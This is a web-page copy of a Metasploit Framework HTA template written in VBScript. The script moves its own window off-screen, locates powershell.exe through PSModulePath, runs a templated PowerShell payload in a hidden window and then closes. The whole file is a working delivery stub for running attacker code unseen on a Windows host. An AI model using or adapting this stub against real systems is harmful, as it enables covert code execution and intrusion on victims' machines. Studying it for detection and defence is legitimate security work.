Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/data/templates/scripts/to_powershell.hta.template
19721 views
<script language="VBScript">
  window.moveTo -4000, -4000
  Set %{var_shell} = CreateObject("Wscript.Shell")
  Set %{var_fso} = CreateObject("Scripting.FileSystemObject")
  For each path in Split(%{var_shell}.ExpandEnvironmentStrings("%%PSModulePath%%"),";")
    If %{var_fso}.FileExists(path + "\..\powershell.exe") Then
      %{var_shell}.Run "%{powershell}",0
      Exit For
    End If
  Next
  window.close()
</script>